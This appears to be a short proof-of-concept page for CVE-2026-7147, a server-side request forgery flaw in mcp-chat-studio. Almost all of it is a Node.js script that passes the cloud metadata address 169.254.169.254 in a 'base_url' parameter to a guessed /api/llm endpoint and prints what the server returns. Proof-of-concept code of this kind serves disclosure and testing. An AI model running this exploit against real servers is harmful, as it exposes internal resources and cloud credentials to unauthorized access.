CVE-2026-7147 mcp-chat-studio SSRF漏洞

/* * PoC for CVE-2026-7147 (mcp-chat-studio SSRF) * This script demonstrates how to manipulate the 'base_url' parameter * to force the server to send a request to an internal resource. */ const axios = require('axios'); const target = 'http://vulnerable-target:3000'; // Internal target to check (e.g., AWS metadata or localhost) const internalTarget = 'http://169.254.169.254/latest/meta-data/ami-id'; async function exploit() { try { console.log(`[+] Attempting SSRF against ${target}`); // The vulnerable endpoint is likely /api/llm based on the file path const payloadUrl = `${target}/api/llm`; const response = await axios.get(payloadUrl, { params: { 'base_url': internalTarget }, timeout: 5000 }); if (response.status === 200) { console.log('[+] Request sent successfully.'); console.log('[+] Server response:'); console.log(response.data); } else { console.log('[-] Exploit failed with status:', response.status); } } catch (error) { console.error('[-] Error during exploit:', error.message); } } exploit();